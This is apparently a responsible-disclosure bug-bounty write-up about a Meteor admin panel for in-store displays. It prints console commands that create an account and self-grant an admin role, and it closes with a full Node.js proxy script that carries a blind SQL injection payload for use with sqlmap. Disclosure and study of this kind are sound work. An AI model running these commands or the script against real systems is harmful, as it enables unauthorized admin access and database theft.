This is a Write-Up for an analysis of an admin panel, used by a notable company to manage in-store displays, that uncovered several security vulnerabilities. These ranged from authentication bypasses, which could allow any individual to create an account, to SQL injections where user input was directly passed into PostgreSQL queries. The platform in question was built using Meteor, a full-stack JavaScript platform for developing modern web and mobile applications. Meteor employs a shared-model approach between the frontend and backend, which can introduce vulnerabilities. In this instance, it did. While Meteor offers a rich set of features, including real-time updates, ensuring proper security configurations during deployment is crucial.

Vulnerability Details

  1. Authentication Bypass: The app showed no way to register a new user account but the functionality was still available server-side. After reading the Meteor documentation I was able to register a new account by executing this in the browsers console.
    Accounts.createUser({password: 'test123123123123123', email: '[email protected]'})
    
  2. Improper Access Control: Once I had an account and logged in I couldn’t do much. The javascript sources indicated that I don’t have the required admin role to access any pages. At this point Meteor’s shared-model approach allowed me to self-assign the required admin role. Developers have to define which models can be updated by the client-side and/or server-side. In default installations profile can be updated client-side by anyone logged-in and Meteor’s official documentation warns about using profile (Don’t use profile).
    Meteor.users.update(Meteor.user()._id, {$set: {'profile.role': 'Admin', 'profile.name': 'kirtixs'}})
    
  3. SQL Injection: After obtaining the admin role I was able to access the app without restrictions. The apps functionality was limited and it appeared to be still in development, it looked like a version that a developer might have when prototyping.

    Most of the pages provided write/update functionality and I did not test those since the app appeared to have access to over 9000 in-store displays. After looking at the pages and the source I was able to find some methods that used PostreSQL instead of Meteor (mongodb): scheduleRemoteUpdate, getTopologiesForUpdate, getStoresFromFilter, and getDataForReport.

    In order to aid exploration and exploitation I wrote a small Node.js script that connects to Meteor over websocket (the default), starts a small web server and sends requests received over http to the websocket connection. Using this helper I picked getDataForReport to search for SQL injections and I was able to find that the search term is directly passed into the query. Exploiting this sql injection was a bit more tricky since it was boolean, execution took ~20s and the sink appeared to be in a complex nested query. I wasn’t able to exploit this vulnerability with sqlmap directly and I had to help it. I prepared a query directly in my proxy script that sqlmap would use to help me exfiltrate data. Usually I would use sqlmap tamper scripts but it was easier to hack my proxy script. The full script is at the end of the blog.

    Some tables that I was able to enumerate were brightsign_to_router, router_info, iccid_mapping, presentations, sonos_accounts, nagios_sims and so on. I stopped exploitation after revealing these tables and send my report to the company.

Post-Mortem Conclusion

The analysis of the admin panel highlighted the gravity of the vulnerabilities present. The panel was designed to allow administrators to send commands to in-store displays. The exact nature of these commands remained ambiguous, but they appeared to have write or update capabilities. Due to the inherent risks, no attempts were made to use these commands.

Moreover, the data accessible via the SQL injection vulnerability hinted at the potential to control specific in-store devices. Tables like sonos_accounts, brightsign_to_router, and nagios_sims were especially concerning due to their sensitive content.

Fortunately, these vulnerabilities were addressed promptly, with fixes rolled out within four days of my report submission. As a token of appreciation, I was awarded the maximum reward of $500.

Proxy Script

var DDPClient = require('ddp');
let express = require('express');
var concat = require('concat-stream');
const app = express();
const port = 3001;

app.listen(port, () => console.log(`Example app listening on port ${port}!`))

var ddpclient = new DDPClient({
    // All properties optional, defaults shown
    host: 'example.com',
    port: 443,
    ssl: true,
    autoReconnect: true,
    autoReconnectTimer: 500,
    maintainCollections: true,
    ddpVersion: '1',
    useSockJs: true,
});

ddpclient.connect(function (error, wasReconnect) {
    if (error) { return;}

    if (wasReconnect) {
        console.log('Reestablishment of a connection.');
    }

    console.log('connected!');

    ddpclient.call('login', [
        {
            user: {
                email: '[email protected]',
            },
            password:
                {
                    digest: '[PASSWORD_SHA256]',
                    algorithm: 'sha-256'
                }
        }], function () {
    });
});

app.use(function(req, res, next){
    req.pipe(concat(function(data){
        req.body = data;
        next();
    }));
});

app.post('/', function(req, res) {
    let payload = decodeURIComponent(req.body.toString());
    let fullPayload = [
        {
            'countries': [],
            'states': [],
            'retailers': [
                `'||(SELECT CASE WHEN 1=${payload} THEN 'MAGIC_WORD' ELSE 'bar' END)||'`
            ],
            'topologyFilters': {
                'locations': [],
                'fixtures': []
            }
        }
    ];

    ddpclient.call('getDataForReport', fullPayload, function(err, response) {
        if(err) {
            return res.send(JSON.stringify(err).substring(0, 5000) + 'nagios qqq'); // append nagios to convince sqlamp that the result is false
                                                                                    // 2023-08-09: Can't remember why this was needed, truncating the string at least sped up sqlmap
        }
        return res.send(JSON.stringify(response).substring(0, 5000));
    });
});